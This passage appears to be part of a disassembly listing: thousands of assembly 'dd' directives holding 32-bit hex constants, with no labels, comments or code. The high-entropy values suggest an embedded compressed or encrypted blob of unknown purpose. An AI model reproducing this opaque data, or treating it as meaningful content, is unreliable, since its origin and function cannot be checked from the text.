		dd 0A39D02EEh, 6BA2BDABh, 0DBAB414Ch, 0ABE344BAh, 0E1BF6078h
		dd 6B85D5C9h, 0C2DE8261h, 0B4B3008Ch, 12EE0214h, 6184975h
		dd 7F12513h, 26815DC5h,	2108419Fh, 27D1E088h, 94CA29C1h
		dd 0CAFE81F1h, 2D202EC6h, 7F2421F8h, 0E51F8CE0h, 7C0F4066h
		dd 5D22C1CFh, 73CFA9B1h, 0E628C170h, 0EAFA0F29h, 8571295h
		dd 250C9E20h, 0B09B5A4Ch, 27CC8DBFh, 57654578h,	45C8F865h
		dd 4BFF9808h, 7297BFCFh, 0C8629265h, 0A07A8190h, 49C2F8FBh
		dd 4F02C1FAh, 2019E339h, 8BBACE47h, 8DD230BAh, 10CA0039h
		dd 0A30410h, 18401137h,	0FA38E401h, 220E1AC8h, 0E16AA836h
		dd 1881BBCFh, 42D23940h, 0F8D0B01h, 3482FE76h, 459B0328h
		dd 0C609F5CCh, 7D109662h, 51138288h, 64188120h,	0C0924C8Bh
		dd 8C039006h, 91142D2Bh, 0E940D621h, 2568C580h,	956111B8h
		dd 54844AC0h, 4C772A82h, 571EB174h, 7D049312h, 3C005408h
		dd 104A9605h, 2124258h,	122AA5F0h, 22A9A97Dh, 2B8D97E1h
		dd 99B17F12h, 0C09F822Bh, 6C59181Fh, 4D60E19Bh,	12E696F5h
		dd 963F08EEh, 41A824F9h, 146FCF56h, 29FE9183h, 12D0EC61h
		dd 3162E094h, 931F060Ah, 0C729636Eh, 4449E2FDh,	121B0BD2h
		dd 43F85FEDh, 0BD2FD6Eh, 0B2A33C33h, 0BCB727DFh, 29DF55E0h
		dd 0C9548629h, 4AD49825h, 0A5E53D0Eh, 0B2149449h, 0B400182Dh
		dd 86E24031h, 0F83889A4h, 9EE506A1h, 0B4B20A3Ch, 0B2650F90h
		dd 0C462AC89h, 0CE98BE69h, 0D148494Ah, 0A433DE82h, 0ABB233DEh
		dd 0CD856218h, 0D31D0C51h, 40D02969h, 0CEC5405Ch, 40652892h
		dd 8D095973h, 47E8C73Ch, 28207B00h, 4697F1h, 9D252EC3h
		dd 0E2452894h, 30911B28h, 89154086h, 915454A2h,	154A4A20h
		dd 54A0A189h, 52731091h, 30A88915h, 46C509h, 0B0AA0CD2h
		dd 35C0B095h, 918F938Fh, 911ED6D2h, 8A5E021Ah, 6DCA30A2h
		dd 3BE56CFEh, 0F741B611h, 1E8AD5AAh, 0DDD5F8BEh, 59571BFDh
		dd 0B17CDC51h, 0C55FCE67h, 77F36F5Ch, 31114602h, 93ABBAC1h
		dd 2A1593BDh, 0C3BA5CD0h, 0F75F1A75h, 158840E9h, 0BB879874h
		dd 1FDA02E2h, 6B94CF70h, 6B5CA55h, 0D9967F49h, 64F367D5h
		dd 0C1F4ACDDh, 0EEA8982Eh, 3A0813A3h, 0DE89667Eh, 57166370h
		dd 6AAD7FBh, 0D4866152h, 75E4078Fh, 6C082FE1h, 868AAAF8h
		dd 28671AAFh, 0FC8F08C1h, 42F5F907h, 38280D32h,	19E07915h
		dd 0A38DB3FBh, 1A4B8CC3h, 588818CDh, 2D735551h,	9BE45D19h
		dd 0D2AF528Ah, 0E8A0D228h, 11FB4426h, 9B94A145h, 77D0F28Ah
		dd 613967F4h, 0C7F4ACD6h, 0D9FC5E35h, 19CB8295h, 75AE164Eh
		dd 5A2CA755h, 53DD9C8Bh, 0C1F9D54h, 0C3641C42h,	30AC4149h
		dd 56A05B59h, 0C7DE823Ch, 709417BCh, 3AEA4F95h,	0F63BE181h
		dd 6125A20h, 0BCF1E629h, 0B0B45810h, 0BDF5A093h, 0FF67845Ch
		dd 87AFE5DEh, 439DD958h, 3FFDF052h, 2197D467h, 79631620h
		dd 580C2F5Dh, 0F8E21655h
		dd 1ABE72Ah, 5602CAABh,	0FE882C74h, 8D748342h, 0B15D64EFh
		dd 58E9ED3Eh, 0DC9C5E55h, 8AE96637h, 0BFA3CD43h, 3CBDBC5h
		dd 0D27BC242h, 8A35073Dh, 25D95764h, 70CA6802h,	6022115h
		dd 558485B7h, 1ECE91E0h, 16E8D36Dh, 25009016h, 0BFC71609h
		dd 4A920CAAh, 0DA505551h, 0C3E0D115h, 1C7012Ah,	0DFF3DF62h
		dd 77C717C6h, 0E1EA0076h, 0F7B9ACDCh, 92700069h, 0B2917C46h
		dd 0D3A4AADBh, 899AE5D1h, 0EF097F49h, 0DA9AE7D4h, 0F45AC09Dh
		dd 613905A5h, 1D616844h, 4A3345B5h, 844B69B8h, 0CFD1609Fh
		dd 16215E24h, 10A2C55h,	5D68A2F8h, 122CBD71h, 0BAA1EBAAh
		dd 0BD65B158h, 0A9B33201h, 0EDA57E1h, 39BEC8B6h, 43716209h
		dd 514E95B9h, 34E16080h, 5A3F54F7h, 6E3EEBF5h, 0D7DA8D61h
		dd 74C10DB1h, 6451C8F8h, 16D70489h, 922057B0h, 12D05CC6h
		dd 628E84A3h, 0DAC5ACA7h, 303FA9EAh, 0AC0A1FEAh, 75E15D0Fh
		dd 0BFBB2AFh, 44041555h, 79015BBAh, 0F50580Ah, 0F8E70926h
		dd 2BAA9A3Ch, 0D20E6167h, 0B52827A6h, 92440344h, 246C961Fh
		dd 42FCA259h, 0DD254224h, 62AD892Ah, 0F501FEF9h, 7A4919ABh
		dd 0CA537520h, 9B52A35Bh, 438BB292h, 0A0780D1Dh, 85E916AAh
		dd 2ABEB375h, 0BB795D2Dh, 5E480E23h, 0A8721165h, 0F48B173Dh
		dd 0AF8B2905h, 0FF50AFCEh, 0C7EFFCE0h, 0E1814B94h, 4AFAD931h
		dd 0BB6A95Eh, 279C2ABBh, 82102FEAh, 800E8E0Fh, 0E560FB85h
		dd 31E9C412h, 6478FC40h, 0B2C2F9C1h, 0F5141D58h, 957698A0h
		dd 0AA22BAFDh, 0A0E22045h, 0FB4CCAF9h, 0E453F402h, 48A2BEC8h
		dd 8C02029Eh, 0A6689D2h, 94E0313Ch, 8023A300h, 0BD00056Ch
		dd 0A722882Ah, 2F40E938h, 0BA22A0BDh, 32F47D38h, 3CC2A342h
		dd 942C0693h, 3C338C8h,	1F47077Fh, 0F168F001h, 25D07FFDh
		dd 557AC4ECh, 0AD814B90h, 0B6C503EFh, 549637C1h, 0E12A996Fh
		dd 0E807008Ch, 5ED36155h, 916769Ah, 4D6D4D86h, 182DB01Ch
		dd 4031A605h, 0FFDFB21Ch, 0E5E8F443h, 0A7592A09h, 60910549h
		dd 0FA4534D8h, 5E80D273h, 4A11C163h, 2B20749Dh,	46F197h
		dd 0F12C0EDBh, 0C4B2E895h, 0CAAF2258h, 0F2848969h, 19E402Bh
		dd 0F61299C0h, 5E804008h, 44A2F615h, 439157C5h,	40A9508Bh
		dd 6492C5DCh, 1BD0CEFEh, 0BF8AFD09h, 0BE87406Eh, 7308C1D2h
		dd 1DFEF446h, 4517BACBh, 1D7E1C29h, 255DF1A3h, 540D6540h
		dd 6B7BDB64h, 653D5B67h, 6F7B7DB1h, 78417C51h, 9917CA57h
		dd 5771C57Eh, 87607356h, 9794DA7h, 622453A8h, 20497428h
		dd 0E435C66Ch, 0FA202535h, 6EE01DE0h, 156253FFh, 0CD44EC64h
		dd 0A0A72840h, 361B1FCDh, 202B08A0h, 8D9E928h, 83060419h
		dd 68445E8Fh, 748C5602h, 4AEE0AA5h, 0F1E762A0h,	0C1AB5601h
		dd 8120A42h, 0CD8BDC06h, 82E72692h, 44E20651h, 98825C6h
		dd 10F3A5BDh, 26DC17AFh, 0FF359DA3h, 0DD05B70Fh, 0B9A401E5h
		dd 6175BA1Eh, 0C5DCC05Ch, 21432921h, 2A125427h,	56B5A190h
		dd 0D75800B9h, 0E69E452Bh, 0EF8D3AEDh, 8B2BB834h, 0AB527D39h
		dd 0AB94A306h, 2D19832Dh, 225D8729h, 99561AC0h,	640A63C0h
		dd 0C32AC4CDh, 51A5CE0Ch, 67D2416Dh, 17ACC752h,	15B1DC8Bh
		dd 0AC38FE84h, 0E7B030C6h, 53B23206h, 0AD5F3F97h, 44D8BE7Ah
		dd 0E2FFEAF0h, 3C7E12ABh, 9419583Fh, 0C4A1D7FFh, 300EE13Ah
		dd 0E25A6822h, 0DA2F41DDh, 2C410B9h, 0F684E6BDh, 2729CC43h
		dd 0EB981E87h, 0F06073ABh, 0EAE050ECh, 641FF809h, 827F54A9h
		dd 0C50C4227h, 0CD781B0Ah, 0D06C8AEFh, 645EA01Ch, 1D9BBAC3h
		dd 56707BB0h, 0DBF4BC42h, 5D606355h, 0E2EA82Fh,	5F81648h
		dd 1559E323h, 0FC05E645h, 11BCB861h, 8B061843h,	9686CA5Ah
		dd 7E62317h, 8F5D5254h,	0D0F152C0h, 58F86AF6h, 0CCE2FC2h
		dd 0BA9C622Bh, 7E10F7C8h, 0E02FA006h, 482EF87Ah, 541AACCEh
		dd 2F399FACh, 2B2C7961h, 2B1F2B72h, 85F12B77h, 13715D59h
		dd 0D16155A1h, 9F2F4CE3h, 0E5379015h, 0D7B15ACAh, 24C2F8BAh
		dd 3810A858h, 3E4D57C8h, 27132053h, 0E9F2068Ch,	3774AE1Bh
		dd 5BF56E41h, 0A77CBB3Ch, 95A47EFEh, 0EA1B048h,	9760FA1Fh
		dd 3D673268h, 0B82E84C5h, 408D7A20h, 0B2AB2DDCh, 8E04522Ah
		dd 0C6705DD2h, 212D04E5h, 7A2F0029h, 36C772Dh, 0C87EC5BBh
		dd 16D4E5ABh, 406F17ACh, 90F9D864h, 0C26A0F2Fh,	23FBB7AFh
		dd 0E80BB0C0h, 41B0515Dh, 0CF8268C4h, 7D84F09h,	54952954h
		dd 3C1F1219h, 707F56EDh, 2C0E7DBh, 0BE10D65h, 6583029h
		dd 6E822827h, 662BCCDDh, 68BA0320h, 0A3B4D772h,	2D06B32Bh
		dd 128AC143h, 96F3BA4Ch, 16579985h, 104297E3h, 9448734Ah
		dd 40222B1Ch, 1F434DF5h, 0D97941Dh, 0DFAB73ACh,	453AF9FFh
		dd 5056E649h, 0E7F11EF3h, 48C69283h, 2318452h, 6D7A7447h
		dd 8F108AFCh, 0E49DE260h, 0B1C470A0h, 66AB8382h, 782143Eh
		dd 0BA5D39AFh, 51C001F0h, 6BAAD4A3h, 91EEC2D0h,	9AB5EC92h
		dd 0EC02FABBh, 0A2D6C8h, 476C5A31h, 490CBD3Fh, 28956EC7h
		dd 0BE40508h, 90611182h, 8D0EED1h, 0D68CDDA1h, 16422423h
		dd 122E279h, 388F0E8Dh,	2C1BCE89h, 0B808158Dh, 0CA16A820h
		dd 60E10AEBh, 0C1D63555h, 72B0574Bh, 0C05D0EA3h, 40A3717Bh
		dd 0FF054E3Ah, 3A2A0073h, 485E843Ch, 5EBB5B5h, 9180933Eh
		dd 641042h, 220A1484h, 96A37011h, 6A89AD8Ah, 0ED931683h
		dd 8DC39D33h, 0A2FE30BFh, 0BB9DAB53h, 76F00EB2h, 0F1BC6782h
		dd 9CED2A43h, 4D841680h, 74A84370h, 4D31E631h, 0AD0762DFh
		dd 0FEACB50Bh, 2EF11B46h, 701DA844h, 97532020h,	0B172BC75h
		dd 9B051AC9h, 0A9CB7FE6h, 878BD72Fh, 0E2BA7300h, 2FE0F80h
		dd 37AC14A8h, 56C2D0Ah,	340A7C3Fh, 5FCB5C1Fh, 8556D538h
		dd 0E0C5C86h, 186F2609h, 0F94AB81Fh, 0E2F468CBh, 4A0383A0h
		dd 2631BF95h, 0FC5DFDD6h, 8E1F9067h, 66060DFh, 4B33F5C6h
		dd 8336B39Bh, 0FDDDC13Ch, 0BF24ED3Bh, 8018224Fh, 1F018521h
		dd 0E9FA041h, 0AB0048E6h, 0B6E210FFh, 1E2ADB9h,	0AC04CF2Bh
		dd 2F15815Ch, 0AB2A8ABAh, 4FF24923h, 0A954D145h, 0AD103155h
		dd 0AF002A24h, 0A0968C52h, 1B2D28EFh, 0E12C39FEh, 0AC2A2555h
		dd 4CE39815h, 0DE2B532h, 749D25EEh, 0D0D73599h,	2086888Ch
		dd 6976E809h, 5295FE57h, 0A84234E1h, 0B077CD98h, 8BAFD49Dh
		dd 0B16CB58Ch, 10FA31FDh, 0C7305D0Eh, 495F3C50h, 64C7660Dh
		dd 794EAF61h, 0AE0FC145h, 14540230h, 0F53D4AEAh, 2BA4128Eh
		dd 0A957B80Ah, 90BECDE7h, 54E569C3h, 0BBD11A25h, 8006A230h
		dd 7EBBB148h, 49B64517h, 816ECAE8h, 0E7A73D89h,	22CA15AFh
		dd 18E0CA60h, 10947FF7h, 3EFC0646h, 9153314Bh, 0E398FA37h
		dd 0D27FC5AFh, 853AB0ADh, 0FDB11A86h, 3F8935B5h, 8328AF51h
		dd 3DF23E0Ah, 0D3CD470h, 8A124204h, 75A3CF75h, 0C551CF9Eh
		dd 6AAF5EA0h, 0CF2E55FAh, 54AAAEB8h, 3733BC28h,	0EA092AFAh
		dd 5D7730CFh, 556C0088h, 74BD67EEh, 32CB0625h, 90F5AAB7h
		dd 7158BD52h, 0B69356EAh, 0A0975C30h, 4EAF2BF9h, 614D5A75h
		dd 0BB688D9Eh, 302B022Bh, 0A6EE9BB7h, 6713AC82h, 64C66665h
		dd 5A6C0758h, 4E92D195h, 1883459h, 41170D58h, 7EAAC006h
		dd 3E27ED92h, 0C290E5C1h, 3A195E03h, 0AAAC4C0Dh, 2B740288h
		dd 0FF802E70h, 0FFA407D6h, 93B44306h, 6697174h,	32BBEA43h
		dd 606CE202h, 9EE7E18Ah, 3118CA27h, 30067054h, 22B21B89h
		dd 0AAA5186Ch, 87EA1796h
		dd 7F1DA093h, 577A387Ah, 54A0E194h, 0BC217DCBh,	4B6F9C82h
		dd 3C3F5AB9h, 0F76893BEh, 2C4C08B8h, 8C08D701h,	208AD7D1h
		dd 0AE538946h, 0F029B37h, 38C6A0h, 89BCFA11h, 48447E15h
		dd 0A7101942h, 6FD20424h, 80189315h, 85750E0h, 9D3BB81Eh
		dd 0FBCE2B4Eh, 0EAA234E6h, 55B128Fh, 0D38C8A74h, 0D214E405h
		dd 798B6D61h, 27E29DAFh, 5552FE0Eh, 7AEAF902h, 8D0790A3h
		dd 14DC4D0Ah, 6AD0CF0Fh, 0C1C16C33h, 0F6832D01h, 0DC837D11h
		dd 991E3578h, 4C04234h,	14685FF9h, 381E1592h, 0B17B5D22h
		dd 8D391340h, 2F61975Ah, 0D37A9EFAh, 0B028D1E5h, 0EFB2E0D8h
		dd 0E14BC121h, 0AAB4F808h, 55E3DFADh, 89512D08h, 0DDC0AAACh
		dd 5611C540h, 0AC009296h, 8FF87585h, 278F4568h,	538CEB5Dh
		dd 79A3A3C0h, 0B4A2B8AFh, 5E12F6BFh, 69220734h,	988560E5h
		dd 3AD10C18h, 18E72987h, 0F5A04BC2h, 0CA654ACEh, 0BE0AAF69h
		dd 0AAAD0528h, 0BE641E0Ch, 317FE519h, 9A88D67Eh, 794A310Ah
		dd 0A74C3C19h, 814F85ABh, 8C256F00h, 2F6D5DCBh,	0FB56181Ch
		dd 0B17C7AC0h, 0EAD30F42h, 1F553A42h, 892E8364h, 0A0C02823h
		dd 88648F21h, 0D38BA1ABh, 1A15FEAEh, 4624D16h, 44A07A1Dh
		dd 0F0720575h, 0C8162EB0h, 59720670h, 6928C21Ah, 8B8FE937h
		dd 6695B02h, 3870679h, 0E052B3F7h, 0C056E32Ch, 8AD3EFE7h
		dd 6C720305h, 0A0060585h, 281D22AFh, 91E60406h,	0B8D5574Ch
		dd 5D705C57h, 2E8C60B1h, 56357888h, 0C55CF957h,	697FA432h
		dd 42DF8F4Ah, 87DAF407h, 38EB88D5h, 0F9AD8154h,	164B9F87h
		dd 705FC8E0h, 0A1315D9h, 7186F06Ch, 7AF0071Fh, 0E31E0255h
		dd 3BB0C48h, 925D8694h,	0B90D0BB0h, 3870614Fh, 1AB5CFA6h
		dd 26711EA4h, 41D12705h, 2B3C4A29h, 0C1C1D2C3h,	71A96A24h
		dd 7DA58218h, 7919350h,	0C4222755h, 7D285902h, 0F8B88BFDh
		dd 7202FC2Fh, 1CF29953h, 26FE2AF8h, 0E2C1AF56h,	15599AEAh
		dd 9A817C84h, 214EDCB8h, 0B33148A4h, 0B18BBBE4h, 4AB940BEh
		dd 60B8DEBEh, 3538027Eh, 0D2F8D8E1h, 800A1BE0h,	87B65DFh
		dd 0A6FD64C6h, 439DC2DCh, 0F0C5E39Ah, 0CD455F58h, 395EC0FEh
		dd 0EFF10264h, 0BD70B96Dh, 0D29B741Fh, 0E873F683h, 5F79E454h
		dd 52297F53h, 461C2342h, 0CB06ED65h, 54D357CCh,	5D84663Ch
		dd 0C273E84Ah, 0FED0CAD3h, 0AA41ECFBh, 965899BCh, 0EE3C9E4Eh
		dd 0B5212BCBh, 0C0E6B05Ah, 0DF9580F0h, 0FD9B7DB2h, 42721EC9h
		dd 53055308h, 0BFC30A8Ah, 0B0D567D2h, 0E1058204h, 0ED9D4175h
		dd 878615DBh, 81795208h, 0C1FDEE13h, 7EB8307Fh,	3271303h
		dd 5F0E3ABEh, 0F8652FFFh, 870757E8h, 0CBAC1555h, 0B812FE55h
		dd 0EF582442h, 12F9DACBh, 5616A6FFh, 5280B941h,	0A88C67A8h
		dd 0CA9C7A28h, 0F3D9B48Ch, 8A5AC2DCh, 4F3DAD6Ah, 0CEE2350Fh
		dd 8713E400h, 6938E6F2h, 6173CC1Ah, 0D5AA75E5h,	0BD33790Ch
		dd 977B0B97h, 0C3E2E950h, 67DB785Ch, 92F99488h,	1175820Fh
		dd 256FCD56h, 0FB1488B8h, 8A3BFD6Bh, 551851E2h,	0AF9DD197h
		dd 86F1C8A2h, 87F0243Dh, 86CD5F2Ah, 1BD7DC1Dh, 11E04E7Dh
		dd 8B4C8469h, 35288178h, 13C15A1Ch, 54A9CE0h, 0AB1488C4h
		dd 0D9DB6AE8h, 78091DC5h, 97D41724h, 114D414h, 595CAED0h
		dd 2EA59697h, 0EA0385F0h, 0FF855753h, 0C0141883h, 87A7419Eh
		dd 0A95EC300h, 8114EBA0h, 0C8672EE2h, 0EAE85CCDh, 0C5FB47D3h
		dd 4DD76764h, 0F9AC10BEh, 0B207E9F7h, 0D110C615h, 81F4C044h
		dd 0E9D837E6h, 0E1066E50h, 42C650DDh, 0A70960E6h, 0DFD4ED01h
		dd 0D1DFA3ABh, 0AD2041E6h, 0FFCB156Bh, 2A8CC3Dh, 0FA2A52D5h
		dd 0ACF22EA4h, 0AC2F84CCh, 5F1D3BE2h, 0BFF0DC75h, 7559D26Ch
		dd 0F5100D37h, 3B2423A1h, 0A818B6DEh, 33C325D3h, 95041D19h
		dd 7170F7FEh, 0DA03BC42h, 973FA87Eh, 0D87241C4h, 0A6D5525Dh
		dd 0E2F76E12h, 0EDB67420h, 0FD8905C1h, 22384183h, 0D2696438h
		dd 0AA256B7Ch, 0FA4128DCh, 0DFC88795h, 8877AE88h, 94180A3Dh
		dd 86A6D10Fh, 7E909DDEh, 4ABA7DB5h, 17503300h, 0A2C0C085h
		dd 4943BA92h, 0ABD47B1h, 2BC0B006h, 0BBBC2A6Dh,	221FC26Eh
		dd 67F00CDh, 0B9DFC5FFh, 0DC5F39D4h, 3228CEE9h,	0E92EF9C5h
		dd 0C48BB3D2h, 58A13AAFh, 8B592FFCh, 1E83A5FFh,	0F38B5F88h
		dd 45FFA0BFh, 8CA298D6h, 6D4015F9h, 38DA258Bh, 9B94AED7h
		dd 74C51636h, 0E9225D45h, 6D9241DFh, 9C48BBEBh,	84290801h
		dd 0AEC279DFh, 0A25D5A7h, 9999EB29h, 294D2D74h,	4BAB5030h
		dd 7E28263h, 0B05C357h,	0A70CD0CDh, 2E20108Bh, 0D7E2A51Ch
		dd 0CDEAE8B5h, 0E787A025h, 9226027h, 45AC13C9h,	0E1BCABB5h
		dd 6751C414h, 187AEC00h, 84CE0FA0h, 0C0920A13h,	9EA40BFCh
		dd 629F0601h, 326E3F7Ch, 61252808h, 89D2267Fh, 0F5458FA9h
		dd 80705970h, 34857161h, 918E361Bh, 8B8F6368h, 0A761807Ah
		dd 0DC5A1316h, 0BD794EBFh, 5D2CACCAh, 46031C95h, 35242029h
		dd 0A658C3Ah, 0FE14FC29h, 0E315D6C5h, 0E03FCF5Dh, 5E3B4F80h
		dd 23333365h, 0EF0828F0h, 8BFC89A2h, 0B2740321h, 0B0682EA2h
		dd 86233D75h, 60059998h, 28114C9Bh, 4A28CF5Dh, 4B502C97h
		dd 969D0A5Ah, 2D3610B7h, 758BA178h, 0E27142B1h,	2A167AE5h
		dd 0BA59F32Dh, 83150B42h, 104285ADh, 8B08772Dh,	4807EBh
		dd 0E8060405h, 7062D30Dh, 28197EFDh, 606AD4D3h,	0EFF5C05Fh
		dd 1F32B220h, 4EAC5005h, 0A8142B23h, 1908C2Ch, 208B9836h
		dd 0B9FBC1F0h, 0C8E32FC0h, 0FE2642EBh, 93CA0862h, 10568A40h
		dd 1FB59DD2h, 200C8607h, 6B01508h, 0CCC054h, 923C7CB9h
		dd 0A8105B94h, 44C01749h, 0A98558CBh, 845252F6h, 37957B14h
		dd 4A28B2EFh, 0D4925525h, 7951DF6h, 58B097D6h, 14A633ECh
		dd 4EF22981h, 0D390F517h, 610814EFh, 0BCD62E70h, 4550825h
		dd 44183E07h, 6049B769h, 216A0FACh, 277DE681h, 8A02B256h
		dd 7436802Ch, 567B897Ch, 514080Dh, 6D03F4E0h, 7EA00723h
		dd 320A2986h, 263D6836h, 0DC5B8410h, 4E5504BFh,	0AEFF840Ch
		dd 5A877A32h, 5AD40212h, 0DEEB0834h, 2343F497h,	96DDB08Eh
		dd 4C1C91FCh, 686A612Fh, 7B2B6226h, 563D0880h, 5CF3BAC4h
		dd 0B9D43E8Dh, 0F97055C0h, 0B7606FA0h, 0BA3A5CFFh, 68E071Eh
		dd 8C509CE8h, 0E1DC7A14h, 26221E35h, 0C6970ACFh, 17D0090Bh
		dd 0D4CBDE54h, 8DF47EA1h, 30EBDF7Bh, 0B4556D11h, 5471EB1Ch
		dd 58E5A1A6h, 0E4326B3Ch, 1BC7AEBAh, 8E288530h,	1E164FD8h
		dd 0E7298CE8h, 41667688h, 31E47350h, 0DD11B843h, 50635361h
		dd 0AEB39C50h, 66E0613Ch, 0B2A33D3Fh, 0A37FE835h, 48647858h
		dd 2BF0C6B6h, 5FFA0D3Dh, 8FB274FCh, 4965E009h, 0BD1FADEh
		dd 3CC45301h, 4EC05463h, 0C0415ADFh, 566B1DA8h,	41932076h
		dd 0C96AD4FAh, 0A8076588h, 718D4EE8h, 929659D4h, 67141428h
		dd 90819D1Dh, 1CD63705h, 6F47AEh, 0FC79CA8Ah, 92EAD064h
		dd 4A1981Fh, 3062E871h,	2383434Fh, 0CA0882D9h, 2A802D14h
		dd 1C471818h, 8D404C23h, 0DA7B14Ah, 0FA8B2939h,	1A40306h
		dd 0AFC4F2A4h, 0FC8CD738h, 81EE4E3Eh, 80D59CDBh, 0A7514BA6h
		dd 71FEC71Ch, 0D47A59DEh, 858BBF38h, 96DD8F33h,	4872FF33h
		dd 6E604237h, 0FCE38E8Eh, 0E04E4A26h, 0D2928363h, 3BAC2525h
		dd 21370297h, 521B4C16h, 5DC1C7C1h, 82EB0FC7h, 0F6D588D4h
		dd 0E5A3142h, 0FA39E5A4h, 0D3E874AEh, 0E85D18ACh, 0A5F5A241h
		dd 0CC643F13h, 0ACF50304h
		dd 0BD1C36D0h, 0C02772F0h, 13705D77h, 2BF1418h,	48E2A931h
		dd 2EC15218h, 0FF7F588Ah, 5D14426Ch, 1C367CA9h,	690B8CD0h
		dd 0B8692FBBh, 7FF6770Dh, 0D6DE27E9h, 0BB6F1AC5h, 49ED430Fh
		dd 76424D9Fh, 17589665h, 12509409h, 3EB2C0A3h, 0F4473AE5h
		dd 8D1B6183h, 0AF60305Dh, 0FFCB5321h, 0C4C1124Fh, 8543A83Eh
		dd 12431E40h, 0DACEF880h, 0BFA6E473h, 0BFB9DA0Eh, 0A9BE1985h
		dd 0C813CA7Fh, 7641B69Eh, 45C6FBDBh, 0CA39EC81h, 673E5139h
		dd 3E36C77Ch, 0F3DF758h, 0F34CEE70h, 0B85105E3h, 5C58A615h
		dd 4FABDDC1h, 0DB2212C0h, 3616B752h, 0B20FB46Eh, 1555E60Ch
		dd 0B5515DBFh, 0DBADE196h, 0D2BAA792h, 0C3B02309h, 0E989510Fh
		dd 75D11F9Ah, 0EF0ED1Ah, 21C2B9C1h, 0EF427D60h,	9519266Ch
		dd 0A6DEF28h, 1877FF29h, 510ABF40h, 5FF317CFh, 0D5BF2DC7h
		dd 88C018Eh, 575F430Dh,	94CB51E9h, 8E842A88h, 4EA5EBh
		dd 6254A28Dh, 0D3027052h, 511AABC7h, 6117157Eh,	17F104C8h
		dd 2E1B7133h, 0A8CA7854h, 0C7D4162Ah, 27154ACDh, 32A4ED96h
		dd 0F5C40DC8h, 7BB1C901h, 0BE981E1Ch, 80BC897Bh, 6301211Dh
		dd 38D6BB7h, 415FBBCh, 25D4D28Eh, 0A91282D4h, 291EC10Fh
		dd 8AD07920h, 81AB8D2Ch, 0B9E08156h, 9EED1680h,	2DCFB7AFh
		dd 0B88CBC4h, 3AD52F58h, 8376954Dh, 6D0430ADh, 0EE901566h
		dd 0DFA40479h, 0AC0D396h, 5578080Fh, 29A84A32h,	0F294509h
		dd 1B16625Bh, 65C9B470h, 7FE5EFC1h, 52FBFD27h, 52E14EB6h
		dd 2932880h, 394CD0ACh,	7484859Ah, 0A645E391h, 8C45D99Fh
		dd 0C971345Bh, 0AEAA8225h, 93305399h, 9942095Eh, 0FBB84DB5h
		dd 0FDB865D2h, 31C15AE0h, 9A8DCE90h, 29E0E63Dh,	2F49645Dh
		dd 78283370h, 3C5B5CE0h, 0CDC4336Ch, 8DC6EEAAh,	2CA4E21Fh
		dd 3BA42B97h, 0F83EB1CCh, 0F50FF840h, 6BA165D6h, 6D007AE9h
		dd 7303E10Ah, 9FC5D006h, 35509651h, 8927FC31h, 89AB589Ah
		dd 5663EEAEh, 55C34AE9h, 4CC86682h, 0DB5F70AAh,	1F7CDBEEh
		dd 0ED3983Fh, 6636A7AEh, 0CCC0D3D4h, 110C87D0h,	5E0EFE11h
		dd 56D27396h, 1B212E90h, 0F4CE8B4Ah, 0BCDA5145h, 597C2952h
		dd 0D57CC7A7h, 0D495ABDBh, 5DC2C45h, 2876A9BDh,	0F140D33Ah
		dd 52984750h, 62CA3470h, 0F8C737DAh, 9469EB1Bh,	0BD722292h
		dd 42921A68h, 0E0F937D2h, 0B96D3356h, 78B4E07Eh, 3E67AFFEh
		dd 69F0A023h, 1B2FDB61h, 931B32C1h, 0F41B59B0h,	0A8A97C8Fh
		dd 0B6030F24h, 341EBC2h, 0C7C6E7DEh, 0C99797F7h, 0A2FB8CBBh
		dd 0A65D908Ah, 0F4E7108h, 642364CBh, 8DA90B8Ah,	5C97BB0Ch
		dd 7CF4194h, 28B86224h,	0C0EC9026h, 0BCCA4F8Dh,	0A6E8C028h
		dd 0C16A7FA8h, 0ACECEBDBh, 0E77C133Ch, 6DB1A51h, 0BC7131FDh
		dd 8CA3AD7Dh, 4C27EBACh, 252BC0C8h, 0C3513901h,	50B15486h
		dd 0EC190763h, 6DC641B8h, 0BF0EBC40h, 8885A6C6h, 0D742D392h
		dd 4517C3EAh, 0B9F382E0h, 0A5DF89ADh, 9E86F22h,	771FDBC8h
		dd 16684820h, 711F6C6Ch, 9C35F0A8h, 5D8BF014h, 34088859h
		dd 4DCE26C9h, 1B443469h, 0E122EBCh, 0DC6800FEh,	188419C5h
		dd 8D516E22h, 2A18FB18h, 0B2B977E7h, 3FA4AED5h,	20DC5C47h
		dd 0F0676794h, 0CF888351h, 0CABB62F7h, 56D50AC3h, 9A55C5B5h
		dd 90F20368h, 0C5EF716Ah, 456EDBE4h, 839EF984h,	0A0880A1Bh
		dd 4612D41Fh, 0FF8E0832h, 4FC0C0FEh, 40EDF36Ah,	0EEE2C6D1h
		dd 953DD048h, 7CB78F4Ah, 0AB30EC61h, 2ABD2AAFh,	0AAF2E06Eh
		dd 98849BB2h, 0D447CDBEh, 9ADE8D5Ah, 55E88D05h,	0B569C091h
		dd 5024315Eh, 702535A2h, 0C64225BFh, 0FF00FCBBh, 60E5A1EEh
		dd 0D01AA822h, 566E74EFh, 0D0E909Eh, 703ED386h,	9B97FBA7h
		dd 8B443355h, 657C5F89h, 617E9045h, 0E1CB8A88h,	0D468FEAEh
		dd 0EE63445Bh, 90057D95h, 0AA13ED68h, 0AB740D4Eh, 0FEC153C6h
		dd 98893134h, 10901424h, 0F3F1FAD1h, 24494046h,	697ADA40h
		dd 0AFA24A3Ah, 9E89E676h, 7CA7ED11h, 42412DCFh,	53CC91FDh
		dd 0B326A5Fh, 9B358A54h, 95A189FFh, 56629B2Eh, 575DAAA8h
		dd 56FC3A08h, 72E94501h, 0DDE8147Bh, 0A8B51551h, 0AA57FA71h
		dd 848AA3F8h, 655EB2AFh, 0D5020145h, 6F97DFC7h,	0E8D51DDh
		dd 345E736h, 184C5974h,	0E77844E0h, 4EAEAA9Bh, 0FC3F08A0h
		dd 16405A8Eh, 7B150458h, 77E75DFAh, 2987E9F4h, 397639D5h
		dd 619751A6h, 7C558C00h, 7C5A5D01h, 0E810589Ch,	0FAAC093Ah
		dd 0AEB4974Bh, 0BFFC7060h, 2092F553h, 0F048C550h, 0A6384C14h
		dd 0C06220EEh, 7517AAB4h, 51B0FD18h, 0A4206BACh, 18201210h
		dd 0CF46D441h, 0AB173A71h, 0D38F1D61h, 886B0EFFh, 5F82AB8Bh
		dd 107FD713h, 485693C1h, 0D0472E48h, 0FAFB626Fh, 1C2C0B4Ah
		dd 65A2C7EDh, 0FF566157h, 0C4B116Ah, 955F277Fh,	0A5B9AE1Fh
